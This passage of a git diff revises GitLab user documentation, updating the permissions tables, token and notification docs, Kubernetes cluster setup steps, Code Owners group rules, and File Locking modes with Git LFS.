https://gitlab.com/api/v4/projects/${env.CI_PROJECT_ID}/packages/pypi +username = gitlab-ci-token +password = ${env.CI_JOB_TOKEN} +``` diff --git a/doc/user/packages/workflows/project_registry.md b/doc/user/packages/workflows/project_registry.md index a7bc4436d0e..571cda09e69 100644 --- a/doc/user/packages/workflows/project_registry.md +++ b/doc/user/packages/workflows/project_registry.md @@ -89,3 +89,10 @@ is created, you are ready to [upload your package](../conan_repository/index.md# ```shell CONAN_LOGIN_USERNAME=<gitlab-username> CONAN_PASSWORD=<personal_access_token> conan upload MyPackage/1.0.0@foo+bar+my-proj/channel --all --remote=gitlab ``` + +#### Composer + +It is currently not possible to publish a Composer package to a project that is different from where its code resides. + +If you attempt to publish a Composer package to a different project, you get a `404 Branch Not Found` +or `404 Tag Not Found` error. diff --git a/doc/user/permissions.md b/doc/user/permissions.md index a89d534c782..e2baac1a962 100644 --- a/doc/user/permissions.md +++ b/doc/user/permissions.md @@ -55,7 +55,7 @@ The following table depicts the various user permission levels in a project. | View [Design Management](project/issues/design_management.md) pages | ✓ | ✓ | ✓ | ✓ | ✓ | | View project code | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ | | Pull project code | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ | -| View GitLab Pages protected by [access control](project/pages/introduction.md#gitlab-pages-access-control-core) | ✓ | ✓ | ✓ | ✓ | ✓ | +| View GitLab Pages protected by [access control](project/pages/introduction.md#gitlab-pages-access-control) | ✓ | ✓ | ✓ | ✓ | ✓ | | View wiki pages | ✓ | ✓ | ✓ | ✓ | ✓ | | See a list of jobs | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ | | See a job log | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ | @@ -122,6 +122,7 @@ The following table depicts the various user permission levels in a project. | Manage Feature Flags **(PREMIUM)** | | | ✓ | ✓ | ✓ | | Create/edit/delete metrics dashboard annotations | | | ✓ | ✓ | ✓ | | Run CI/CD pipeline against a protected branch | | | ✓ (*5*) | ✓ | ✓ | +| Request a CVE ID **(FREE ONLY)** | | | | ✓ | ✓ | | Use environment terminals | | | | ✓ | ✓ | | Run Web IDE's Interactive Web Terminals **(ULTIMATE ONLY)** | | | | ✓ | ✓ | | Add new team members | | | | ✓ | ✓ | @@ -134,7 +135,7 @@ The following table depicts the various user permission levels in a project. | Share (invite) projects with groups | | | | ✓ (*8*) | ✓ (*8*)| | Add deploy keys to project | | | | ✓ | ✓ | | Configure project hooks | | | | ✓ | ✓ | -| Manage Runners | | | | ✓ | ✓ | +| Manage runners | | | | ✓ | ✓ | | Manage job triggers | | | | ✓ | ✓ | | Manage CI/CD variables | | | | ✓ | ✓ | | Manage GitLab Pages | | | | ✓ | ✓ | @@ -212,17 +213,14 @@ Find the current permissions on the Value Stream Analytics dashboard, as describ ### Issue Board permissions -Developers and users with higher permission level can use all -the functionality of the Issue Board, that is create/delete lists -and drag issues around. Read through the -[documentation on Issue Boards permissions](project/issue_board.md#permissions) -to learn more. +Find the current permissions for interacting with the Issue Board feature in the +[Issue Boards permissions page](project/issue_board.md#permissions). ### File Locking permissions **(PREMIUM)** The user that locks a file or directory is the only one that can edit and push their changes back to the repository where the locked objects are located. -Read through the documentation on [permissions for File Locking](project/file_lock.md#permissions-on-file-locking) to learn more. +Read through the documentation on [permissions for File Locking](project/file_lock.md#permissions) to learn more. ### Confidential Issues permissions @@ -250,7 +248,7 @@ group. | Pull [packages](packages/index.md) | | ✓ | ✓ | ✓ | ✓ | | Publish [packages](packages/index.md) | | | ✓ | ✓ | ✓ | | View metrics dashboard annotations | | ✓ | ✓ | ✓ | ✓ | -| Create project in group | | | ✓ (3) | ✓ (3) | ✓ (3) | +| Create project in group | | | ✓ (3)(5) | ✓ (3) | ✓ (3) | | Share (invite) groups with groups | | | | | ✓ | | Create/edit/delete group milestones | | | ✓ | ✓ | ✓ | | Create/edit/delete iterations | | | ✓ | ✓ | ✓ | @@ -285,6 +283,7 @@ group. - The [instance level](admin_area/settings/visibility_and_access_controls.md#default-project-creation-protection). - The [group level](group/index.md#default-project-creation-level). 1. Does not apply to subgroups. +1. Developers can push commits to the default branch of a new project only if the [default branch protection](group/index.md#changing-the-default-branch-protection-of-a-group) is set to "Partially protected" or "Not protected". ### Subgroup permissions @@ -368,7 +367,7 @@ are unable to browse the project's repository, for example). TIP: **Tip:** To prevent a guest user from creating projects, as an admin, you can edit the -user's profile to mark the user as [external](#external-users-core-only). +user's profile to mark the user as [external](#external-users). Beware though that even if a user is external, if they already have Reporter or higher permissions in any project or group, they are **not** counted as a free guest user. @@ -475,9 +474,9 @@ for details about the pipelines security model. ## LDAP users permissions Since GitLab 8.15, LDAP user permissions can now be manually overridden by an admin user. -Read through the documentation on [LDAP users permissions](group/index.md#manage-group-memberships-via-ldap-starter-only) to learn more. +Read through the documentation on [LDAP users permissions](group/index.md#manage-group-memberships-via-ldap) to learn more. ## Project aliases Project aliases can only be read, created and deleted by a GitLab administrator. -Read through the documentation on [Project aliases](../user/project/index.md#project-aliases-premium-only) to learn more. +Read through the documentation on [Project aliases](../user/project/index.md#project-aliases) to learn more. diff --git a/doc/user/profile/notifications.md b/doc/user/profile/notifications.md index 336c1b8f254..73a83b08a23 100644 --- a/doc/user/profile/notifications.md +++ b/doc/user/profile/notifications.md @@ -143,7 +143,9 @@ Users will be notified of the following events: | New SSH key added | User | Security email, always sent. | | New email added | User | Security email, always sent. | | Email changed | User | Security email, always sent. | -| Password changed | User | Security email, always sent. | +| Password changed | User | Security email, always sent when user changes their own password | +| Password changed by administrator | User | Security email, always sent when an administrator changes the password of another user | +| Two-factor authentication disabled | User | Security email, always sent. | | New user created | User | Sent on user creation, except for OmniAuth (LDAP)| | User added to project | User | Sent when user is added to project | | Project access level changed | User | Sent when user project access level is changed | @@ -183,6 +185,7 @@ To minimize the number of notifications that do not require any action, from [Gi | Close merge request | | | Reopen merge request | | | Merge merge request | | +| Merge when pipeline succeeds ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211961) in GitLab 13.4) | | | Change milestone merge request | Subscribers, participants mentioned, and Custom notification level with this event selected | | Remove milestone merge request | Subscribers, participants mentioned, and Custom notification level with this event selected | | New comment | The above, plus anyone mentioned by `@username` in the comment, with notification level "Mention" or higher | diff --git a/doc/user/profile/personal_access_tokens.md b/doc/user/profile/personal_access_tokens.md index ae73842dd98..1b8c16f401c 100644 --- a/doc/user/profile/personal_access_tokens.md +++ b/doc/user/profile/personal_access_tokens.md @@ -20,37 +20,19 @@ Personal access tokens expire on the date you define, at midnight UTC. - GitLab runs a check at 01:00 AM UTC every day to identify personal access tokens that expire in under seven days. The owners of these tokens are notified by email. - GitLab runs a check at 02:00 AM UTC every day to identify personal access tokens that expired on the current date. The owners of these tokens are notified by email. -To turn on the notification for expired personal access tokens in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-notification-for-expired-personal-access-token-core-only). **(CORE ONLY)** -- In GitLab Ultimate, administrators may [limit the lifetime of personal access tokens](../admin_area/settings/account_and_limit_settings.md#limiting-lifetime-of-personal-access-tokens-ultimate-only). -- In GitLab Ultimate, administrators may [toggle enforcement of personal access token expiry](../admin_area/settings/account_and_limit_settings.md#optional-enforcement-of-personal-access-token-expiry-ultimate-only). +- In GitLab Ultimate, administrators may [limit the lifetime of personal access tokens](../admin_area/settings/account_and_limit_settings.md#limiting-lifetime-of-personal-access-tokens). +- In GitLab Ultimate, administrators may [toggle enforcement of personal access token expiry](../admin_area/settings/account_and_limit_settings.md#optional-enforcement-of-personal-access-token-expiry). For examples of how you can use a personal access token to authenticate with the API, see the following section from our [API Docs](../../api/README.md#personalproject-access-tokens). GitLab also offers [impersonation tokens](../../api/README.md#impersonation-tokens) which are created by administrators via the API. They're a great fit for automated authentication as a specific user. -## Enable or disable notification for Expired personal access token **(CORE ONLY)** - -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can enable it for your instance. - -To enable it: - -```ruby -Feature.enable(:expired_pat_email_notification) -``` - -To disable it: - -```ruby -Feature.disable(:expired_pat_email_notification) -``` - ## Creating a personal access token You can create as many personal access tokens as you like from your GitLab profile. -1. Log in to GitLab. +1. Sign in to GitLab. 1. In the upper-right corner, click your avatar and select **Settings**. 1. On the **User Settings** menu, select **Access Tokens**. 1. Choose a name and optional expiry date for the token. @@ -103,7 +85,7 @@ token.save! ``` This can be shortened into a single-line shell command using the -[GitLab Rails Runner](../../administration/troubleshooting/debug.md#using-the-rails-runner): +[Rails runner](../../administration/troubleshooting/debug.md#using-the-rails-runner): ```shell sudo gitlab-rails runner "token = User.find_by_username('automation-bot').personal_access_tokens.create(scopes: [:read_user, :read_repository], name: 'Automation token'); token.set_token('token-string-here123'); token.save!" @@ -131,7 +113,7 @@ token.revoke! ``` This can be shorted into a single-line shell command using the -[GitLab Rails Runner](../../administration/troubleshooting/debug.md#using-the-rails-runner): +[Rails runner](../../administration/troubleshooting/debug.md#using-the-rails-runner): ```shell sudo gitlab-rails runner "PersonalAccessToken.find_by_token('token-string-here123').revoke!" diff --git a/doc/user/profile/preferences.md b/doc/user/profile/preferences.md index b94ae958d3b..f84fc1ae898 100644 --- a/doc/user/profile/preferences.md +++ b/doc/user/profile/preferences.md @@ -114,7 +114,7 @@ You have 8 options here that you can use for your default dashboard view: - Your projects' activity - Starred projects' activity - Your groups -- Your [Todos](../todos.md) +- Your [to-dos](../todos.md) - Assigned Issues - Assigned Merge Requests - Operations Dashboard **(PREMIUM)** @@ -182,6 +182,12 @@ Manage the availability of integrated code intelligence features powered by Sourcegraph. View [the Sourcegraph feature documentation](../../integration/sourcegraph.md#enable-sourcegraph-in-user-preferences) for more information. +### Gitpod + +Enable and disable the [GitLab-Gitpod integration](../../integration/gitpod.md). This is only +visible after the integration is configured by a GitLab administrator. View +[the Gitpod feature documentation](../../integration/gitpod.md) for more information. + <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/project/bulk_editing.md b/doc/user/project/bulk_editing.md index c4a6aea807c..98584a939ea 100644 --- a/doc/user/project/bulk_editing.md +++ b/doc/user/project/bulk_editing.md @@ -14,6 +14,9 @@ For more details, see If you want to update attributes across multiple issues or merge requests, you can do it by bulk editing them, that is, editing them together. +NOTE: **Note:** +Only the items visible on the current page are selected for bulk editing (up to 20). +  ## Bulk edit issues at the project level diff --git a/doc/user/project/canary_deployments.md b/doc/user/project/canary_deployments.md index 852baf1f628..afce3869cbf 100644 --- a/doc/user/project/canary_deployments.md +++ b/doc/user/project/canary_deployments.md @@ -48,9 +48,9 @@ Canary deployments require that you properly configure Deploy Boards: template for canary deployments that GitLab provides. Depending on the deploy, the label should be either `stable` or `canary`. -Usually, `stable` and blank or missing label means the same thing, and `canary` -or any other track means canary/temporary. -This allows GitLab to discover whether deployment is stable or canary (temporary). +GitLab assumes the track label is `stable` if the label is blank or missing. +Any other track label is considered `canary` (temporary). +This allows GitLab to discover whether a deployment is stable or canary (temporary). Once all of the above are set up and the pipeline has run at least once, navigate to the environments page under **Pipelines > Environments**. diff --git a/doc/user/project/clusters/add_eks_clusters.md b/doc/user/project/clusters/add_eks_clusters.md index d5713f20257..b3b1b51a543 100644 --- a/doc/user/project/clusters/add_eks_clusters.md +++ b/doc/user/project/clusters/add_eks_clusters.md @@ -141,7 +141,7 @@ To create and add a new Kubernetes cluster to your project, group, or instance: 1. Choose your cluster's settings: - **Kubernetes cluster name** - The name you wish to give the cluster. - **Environment scope** - The [associated environment](index.md#setting-the-environment-scope) to this cluster. - - **Kubernetes version** - The Kubernetes version to use. Currently the only version supported is 1.14. + - **Kubernetes version** - The [Kubernetes version](index.md#supported-cluster-versions) to use. - **Service role** - Select the **EKS IAM role** you created earlier to allow Amazon EKS and the Kubernetes control plane to manage AWS resources on your behalf. diff --git a/doc/user/project/clusters/add_remove_clusters.md b/doc/user/project/clusters/add_remove_clusters.md index e4a750084c9..18d9fa67ee1 100644 --- a/doc/user/project/clusters/add_remove_clusters.md +++ b/doc/user/project/clusters/add_remove_clusters.md @@ -110,10 +110,10 @@ GitLab creates the following resources for ABAC clusters. | Environment namespace | `ServiceAccount` | Uses namespace of environment | Deploying to a cluster | | Environment namespace | `Secret` | Token for environment ServiceAccount | Deploying to a cluster | -### Security of GitLab Runners +### Security of runners -GitLab Runners have the [privileged mode](https://docs.gitlab.com/runner/executors/docker.html#the-privileged-mode) -enabled by default, which allows them to execute special commands and running +Runners have the [privileged mode](https://docs.gitlab.com/runner/executors/docker.html#the-privileged-mode) +enabled by default, which allows them to execute special commands and run Docker in Docker. This functionality is needed to run some of the [Auto DevOps](../../../topics/autodevops/index.md) jobs. This implies the containers are running in privileged mode and you should, @@ -124,14 +124,14 @@ turn can do almost everything that the host can do. Be aware of the inherent security risk associated with performing `docker run` operations on arbitrary images as they effectively have root access. -If you don't want to use GitLab Runner in privileged mode, either: +If you don't want to use a runner in privileged mode, either: -- Use shared Runners on GitLab.com. They don't have this security issue. -- Set up your own Runners using the configuration described at - [Shared Runners](../../gitlab_com/index.md#shared-runners). This involves: +- Use shared runners on GitLab.com. They don't have this security issue. +- Set up your own runners using the configuration described at + [shared runners](../../gitlab_com/index.md#shared-runners). This involves: 1. Making sure that you don't have it installed via [the applications](index.md#installing-applications). - 1. Installing a Runner + 1. Installing a runner [using `docker+machine`](https://docs.gitlab.com/runner/executors/docker_machine.html). ## Create new cluster @@ -206,7 +206,7 @@ To add a Kubernetes cluster to your project, group, or instance: apiVersion: v1 kind: ServiceAccount metadata: - name: gitlab-admin + name: gitlab namespace: kube-system --- apiVersion: rbac.authorization.k8s.io/v1beta1 @@ -219,7 +219,7 @@ To add a Kubernetes cluster to your project, group, or instance: name: cluster-admin subjects: - kind: ServiceAccount - name: gitlab-admin + name: gitlab namespace: kube-system ``` @@ -245,23 +245,23 @@ To add a Kubernetes cluster to your project, group, or instance: Output: ```shell - serviceaccount "gitlab-admin" created + serviceaccount "gitlab" created clusterrolebinding "gitlab-admin" created ``` - 1. Retrieve the token for the `gitlab-admin` service account: + 1. Retrieve the token for the `gitlab` service account: ```shell - kubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep gitlab-admin | awk '{print $1}') + kubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep gitlab | awk '{print $1}') ``` Copy the `<authentication_token>` value from the output: ```yaml - Name: gitlab-admin-token-b5zv4 + Name: gitlab-token-b5zv4 Namespace: kube-system Labels: <none> - Annotations: kubernetes.io/service-account.name=gitlab-admin + Annotations: kubernetes.io/service-account.name=gitlab kubernetes.io/service-account.uid=bcfe66ac-39be-11e8-97e8-026dce96b6e8 Type: kubernetes.io/service-account-token diff --git a/doc/user/project/clusters/index.md b/doc/user/project/clusters/index.md index 98078854050..8d188f00ceb 100644 --- a/doc/user/project/clusters/index.md +++ b/doc/user/project/clusters/index.md @@ -22,8 +22,8 @@ Using the GitLab project Kubernetes integration, you can: - Detect and [monitor Kubernetes](#monitoring-your-kubernetes-cluster). - Use it with [Auto DevOps](#auto-devops). - Use [Web terminals](#web-terminals). -- Use [Deploy Boards](#deploy-boards-premium). **(PREMIUM)** -- Use [Canary Deployments](#canary-deployments-premium). **(PREMIUM)** +- Use [Deploy Boards](#deploy-boards). **(PREMIUM)** +- Use [Canary Deployments](#canary-deployments). **(PREMIUM)** - View [Logs](#viewing-pod-logs). - Run serverless workloads on [Kubernetes with Knative](serverless/index.md). @@ -46,11 +46,11 @@ version. The range of supported versions is based on the evaluation of: Currently, GitLab supports the following Kubernetes versions: +- 1.17 - 1.16 - 1.15 - 1.14 - 1.13 (deprecated, support ends on November 22, 2020) -- 1.12 (deprecated, support ends on September 22, 2020) NOTE: **Note:** Some GitLab features may support versions outside the range provided here. diff --git a/doc/user/project/clusters/securing.md b/doc/user/project/clusters/securing.md index 5b9f776080b..a15660051f7 100644 --- a/doc/user/project/clusters/securing.md +++ b/doc/user/project/clusters/securing.md @@ -36,7 +36,7 @@ At a high level, the required steps include the following: Minimum requirements (depending on the GitLab Manage Application you want to install): - Your cluster is connected to GitLab (ModSecurity, Cilium, and Falco). -- At least one GitLab Runner is installed (Cilium and Falco only). +- At least one runner is installed (Cilium and Falco only). ### Understanding how GitLab Managed Apps are installed @@ -62,7 +62,7 @@ deployment logs. The Web Application Firewall feature uses this installation met However, the next generation of GitLab Managed Apps V2 ([CI/CD-based GitLab Managed Apps](https://gitlab.com/groups/gitlab-org/-/epics/2103)) don't use Sidekiq to deploy. All the applications are deployed using a GitLab CI/CD pipeline and -therefore GitLab Runners. +therefore, by runners. ```mermaid sequenceDiagram @@ -91,14 +91,14 @@ the Web Application Firewall from the project or group Kubernetes page. Note that your project doesn't have to be hosted or deployed through GitLab. You can manage a cluster independent of the applications that use the cluster. -## Set up a GitLab Runner +## Set up a runner -To install CI/CD-based GitLab Managed Apps, a pipeline using a GitLab Runner must be running in -GitLab. You can [install a GitLab Runner](../../clusters/applications.md#gitlab-runner) +To install CI/CD-based GitLab Managed Apps, a pipeline using a runner must be running in +GitLab. You can [install a runner](../../clusters/applications.md#gitlab-runner) in the Kubernetes cluster added in the previous step, or use one of the shared runners provided by GitLab if you're using GitLab.com. -With your cluster connected to GitLab and a GitLab Runner in place, you can proceed to the next +With your cluster connected to GitLab and a runner in place, you can proceed to the next steps and start installing the Cilium and Falco GitLab Managed Apps to secure your applications hosted on this cluster. diff --git a/doc/user/project/clusters/serverless/index.md b/doc/user/project/clusters/serverless/index.md index 6af08b06294..1157c2c5632 100644 --- a/doc/user/project/clusters/serverless/index.md +++ b/doc/user/project/clusters/serverless/index.md @@ -52,7 +52,7 @@ To run Knative on GitLab, you will need: The simplest way to get started is to add a cluster using GitLab's [GKE integration](../add_remove_clusters.md). The set of minimum recommended cluster specifications to run Knative is 3 nodes, 6 vCPUs, and 22.50 GB memory. 1. **GitLab Runner:** A runner is required to run the CI jobs that will deploy serverless - applications or functions onto your cluster. You can install the GitLab Runner + applications or functions onto your cluster. You can install GitLab Runner onto the existing Kubernetes cluster. See [Installing Applications](../index.md#installing-applications) for more information. 1. **Domain Name:** Knative will provide its own load balancer using Istio. It will provide an external IP address or hostname for all the applications served by Knative. You will be prompted to enter a diff --git a/doc/user/project/code_intelligence.md b/doc/user/project/code_intelligence.md index be34053cdc7..f56673e69b7 100644 --- a/doc/user/project/code_intelligence.md +++ b/doc/user/project/code_intelligence.md @@ -26,10 +26,9 @@ Enable code intelligence for a project by adding a GitLab CI/CD job to the proje ```yaml code_navigation: - image: golang:1.14.0 + image: sourcegraph/lsif-go:v1 allow_failure: true # recommended script: - - go get github.com/sourcegraph/lsif-go/cmd/lsif-go - lsif-go artifacts: reports: @@ -40,38 +39,18 @@ The generated LSIF file must be less than 170MiB. After the job succeeds, code intelligence data can be viewed while browsing the code: - + ## Find references > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217392) in GitLab 13.2. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/225621) on GitLab 13.3. -> - It's enabled on GitLab.com. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235735) in GitLab 13.4. To find where a particular object is being used, you can see links to specific lines of code under the **References** tab:  -### Enable or disable find references - -Find references is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it for your instance. - -To disable it: - -```ruby -Feature.disable(:code_navigation_references) -``` - -To enable it: - -```ruby -Feature.enable(:code_navigation_references) -``` - ## Language support Generating an LSIF file requires a language server indexer implementation for the diff --git a/doc/user/project/code_owners.md b/doc/user/project/code_owners.md index dbe3f3dc891..730a9ada428 100644 --- a/doc/user/project/code_owners.md +++ b/doc/user/project/code_owners.md @@ -9,7 +9,6 @@ type: reference > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6916) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.3. -> - [Support for group namespaces](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53182) added in GitLab Starter 12.1. > - Code Owners for Merge Request approvals was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4418) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.9. ## Introduction @@ -74,7 +73,7 @@ Once you've added Code Owners to a project, you can configure it to be used for merge request approvals: - As [merge request eligible approvers](merge_requests/merge_request_approvals.md#code-owners-as-eligible-approvers). -- As required approvers for [protected branches](protected_branches.md#protected-branches-approval-by-code-owners-premium). **(PREMIUM)** +- As required approvers for [protected branches](protected_branches.md#protected-branches-approval-by-code-owners). **(PREMIUM)** NOTE: **Note:** Developer or higher [permissions](../permissions.md) are required in order to @@ -88,11 +87,11 @@ While the `CODEOWNERS` file can be used in addition to Merge Request [Approval R it can also be used as the sole driver of merge request approvals (without using [Approval Rules](merge_requests/merge_request_approvals.md#approval-rules)). To do so, create the file in one of the three locations specified above and -set the code owners as required approvers for [protected branches](protected_branches.md#protected-branches-approval-by-code-owners-premium). +set the code owners as required approvers for [protected branches](protected_branches.md#protected-branches-approval-by-code-owners). Use [the syntax of Code Owners files](code_owners.md#the-syntax-of-code-owners-files) to specify the actual owners and granular permissions. -Using Code Owners in conjunction with [Protected Branches](protected_branches.md#protected-branches-approval-by-code-owners-premium) +Using Code Owners in conjunction with [Protected Branches](protected_branches.md#protected-branches-approval-by-code-owners) will prevent any user who is not specified in the `CODEOWNERS` file from pushing changes for the specified files/paths, even if their role is included in the **Allowed to push** column. This allows for a more inclusive push strategy, as @@ -108,49 +107,58 @@ in the `.gitignore` file followed by one or more of: - A user's `@username`. - A user's email address. - The `@name` of one or more groups that should be owners of the file. +- Lines starting with `#` are escaped. -Groups must be added as [members of the project](members/index.md), -or they will be ignored. +The order in which the paths are defined is significant: the last pattern that +matches a given path will be used to find the code owners. -Starting in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/32432), -you can additionally specify groups or subgroups from the project's upper group -hierarchy as potential code owners, without having to invite them specifically -to the project. Groups outside the project's hierarchy or children beneath the -hierarchy must still be explicitly invited to the project in order to show as -Code Owners. +### Groups as Code Owners -For example, consider the following hierarchy for the example project -`example_project`: +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53182) in GitLab Starter 12.1. +> - Group and subgroup hierarchy support was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32432) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.0. -```plaintext -group >> sub-group >> sub-subgroup >> example_project >> file.md -``` +Groups and subgroups members are inherited as eligible Code Owners to a +project, as long as the hierarchy is respected. + +For example, consider a given group called "Group X" (slug `group-x`) and a +"Subgroup Y" (slug `group-x/subgroup-y`) that belongs to the Group X, and +suppose you have a project called "Project A" within the group and a +"Project B" within the subgroup. -Any of the following groups would be eligible to be specified as code owners: +The eligible Code Owners to Project B are both the members of the Group X and +the Subgroup Y. And the eligible Code Owners to the Project A are just the +members of the Group X, given that Project A doesn't belong to the Subgroup Y: -- `@group` -- `@group/sub-group` -- `@group/sub-group/sub-subgroup` + -In addition, any groups that have been invited to the project using the -**Members** tool will also be recognized as eligible code owners. +But you have the option to [invite](members/share_project_with_groups.md) +the Subgroup Y to the Project A so that their members also become eligible +Code Owners: -The order in which the paths are defined is significant: the last -pattern that matches a given path will be used to find the code -owners. + -Starting a line with a `#` indicates a comment. This needs to be -escaped using `\#` to address files for which the name starts with a -`#`. +Once invited, any member (`@user`) of the group or subgroup can be set +as Code Owner to files of the Project A or B, as well as the entire Group X +(`@group-x`) or Subgroup Y (`@group-x/subgroup-y`), as exemplified below: + +```plaintext +# A member of the group or subgroup as Code Owner to a file +file.md @user + +# All group members as Code Owners to a file +file.md @group-x + +# All subgroup members as Code Owners to a file +file.md @group-x/subgroup-y + +# All group and subgroup members as Code Owners to a file +file.md @group-x @group-x/subgroup-y +``` ### Code Owners Sections **(PREMIUM)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12137) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. -> - It's deployed behind a feature flag, enabled by default. -> - It's enabled on GitLab.com. -> - It can be enabled or disabled per-project. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-code-owner-sections-core-only). **(CORE ONLY)** +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12137) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2 behind a feature flag, enabled by default. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/42389) in GitLab 13.4. Code Owner rules can be grouped into named sections. This allows for better organization of broader categories of Code Owner rules to be applied. @@ -212,28 +220,6 @@ the rules for "Groups" and "Documentation" sections:  -#### Enable or disable Code Owner Sections **(CORE ONLY)** - -Sections is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it for your instance. - -To disable it: - -```ruby -Feature.disable(:sectional_codeowners) -``` - -To enable it: - -```ruby -Feature.enable(:sectional_codeowners) -``` - -CAUTION: **Caution:** -Disabling Sections will **not** refresh Code Owner Approval Rules on existing merge requests. - ## Example `CODEOWNERS` file ```plaintext diff --git a/doc/user/project/deploy_boards.md b/doc/user/project/deploy_boards.md index 50fb24b555b..8146f39ef87 100644 --- a/doc/user/project/deploy_boards.md +++ b/doc/user/project/deploy_boards.md @@ -81,8 +81,8 @@ To display the Deploy Boards for a specific [environment](../../ci/environments/ [OpenShift docs](https://docs.openshift.com/container-platform/3.7/dev_guide/deployments/kubernetes_deployments.html#kubernetes-deployments-vs-deployment-configurations) and [GitLab issue #4584](https://gitlab.com/gitlab-org/gitlab/-/issues/4584). -1. [Configure GitLab Runner](../../ci/runners/README.md) with the [Docker](https://docs.gitlab.com/runner/executors/docker.html) or - [Kubernetes](https://docs.gitlab.com/runner/executors/kubernetes.html) executor. +1. [Configure GitLab Runner](../../ci/runners/README.md) with the [`docker`](https://docs.gitlab.com/runner/executors/docker.html) or + [`kubernetes`](https://docs.gitlab.com/runner/executors/kubernetes.html) executor. 1. Configure the [Kubernetes integration](clusters/index.md) in your project for the cluster. The Kubernetes namespace is of particular note as you will need it for your deployment scripts (exposed by the `KUBE_NAMESPACE` env variable). @@ -105,6 +105,8 @@ To display the Deploy Boards for a specific [environment](../../ci/environments/ re-deploy your application. If you are using Auto DevOps, this will be done automatically and no action is necessary. + If you are using GCP to manage clusters, you can see the deployment details in GCP itself by going to **Workloads > deployment name > Details**: +  Once all of the above are set up and the pipeline has run at least once, diff --git a/doc/user/project/file_lock.md b/doc/user/project/file_lock.md index ed80e5f6a32..6fd33901621 100644 --- a/doc/user/project/file_lock.md +++ b/doc/user/project/file_lock.md @@ -1,108 +1,230 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers type: reference, howto --- -# File Locking **(PREMIUM)** +# File Locking **(CORE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/440) in [GitLab Premium](https://about.gitlab.com/pricing/) 8.9. +Preventing wasted work caused by unresolvable merge conflicts requires +a different way of working. This means explicitly requesting write permissions, +and verifying no one else is editing the same file before you start. -Working with multiple people on the same file can be a risk. Conflicts when merging a non-text file are hard to overcome and will require a lot of manual work to resolve. File Locking helps you avoid these merge conflicts and better manage your binary files. +Although branching strategies usually work well enough for source code and +plain text because different versions can be merged together, they do not work +for binary files. -With File Locking, you can lock any file or directory, make your changes, and -then unlock it so another member of the team can edit it. +When file locking is setup, lockable files are **read only** by default. -## Overview +When a file is locked, only the user who locked the file may modify it. This +user is said to "hold the lock" or have "taken the lock", since only one user +can lock a file at a time. When a file or directory is unlocked, the user is +said to have "released the lock". -Working with multiple people on the same file can be a risk. Conflicts -when merging a non-text file are hard to overcome and will require a lot -of manual work to resolve. With GitLab Premium, File -Locking helps you avoid merge conflicts and better manage your binary -files by preventing everyone, except you, from modifying a specific file -or entire directory. +GitLab supports two different modes of file locking: -## Use-cases +- [Exclusive file locks](#exclusive-file-locks) for binary files: done **through + the command line** with Git LFS and `.gitattributes`, it prevents locked + files from being modified on any branch. **(CORE)** +- [Default branch locks](#default-branch-file-and-directory-locks): done + **through the GitLab UI**, it prevents locked files and directories being + modified on the default branch. **(PREMIUM)** -The file locking feature is useful in situations when: +## Permissions -- Multiple people are working on the same file and you want to avoid merge - conflicts. -- Your repository contains binary files in which situation there is no easy - way to tell the diff between yours and your colleagues' changes. -- Prevent design assets from being overwritten. +Locks can be created by any person who has at least +[Developer permissions](../permissions.md) to the repository. -Locked directories are locked recursively, which means that everything that -lies under them is also locked. +Only the user who locked the file or directory can edit locked files. Others +users will be prevented from modifying locked files by pushing, merging, +or any other means, and will be shown an error like: `The path '.gitignore' is +locked by Administrator`. -## Locking a file or a directory +## Exclusive file locks -NOTE: **Note:** -Locking only works for the default branch you have set in the project's settings -(usually `master`). +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/35856) in GitLab 10.5. -To lock a file: +This process allows you to lock single files or file extensions and it is +done through the command line. It doesn't require GitLab paid subscriptions. -1. Navigate to your project's **Repository > Files**. -1. Pick the file you want to lock. -1. Click the "Lock" button. +Git LFS is well known for tracking files to reduce the storage of +Git repositories, but it can also be user for [locking files](https://github.com/git-lfs/git-lfs/wiki/File-Locking). +This is the method used for Exclusive File Locks. -  +### Install Git LFS + +Before getting started, make sure you have [Git LFS installed](../../topics/git/lfs/index.md) in your computer. Open a terminal window and run: + +```shell +git-lfs --version +``` + +If it 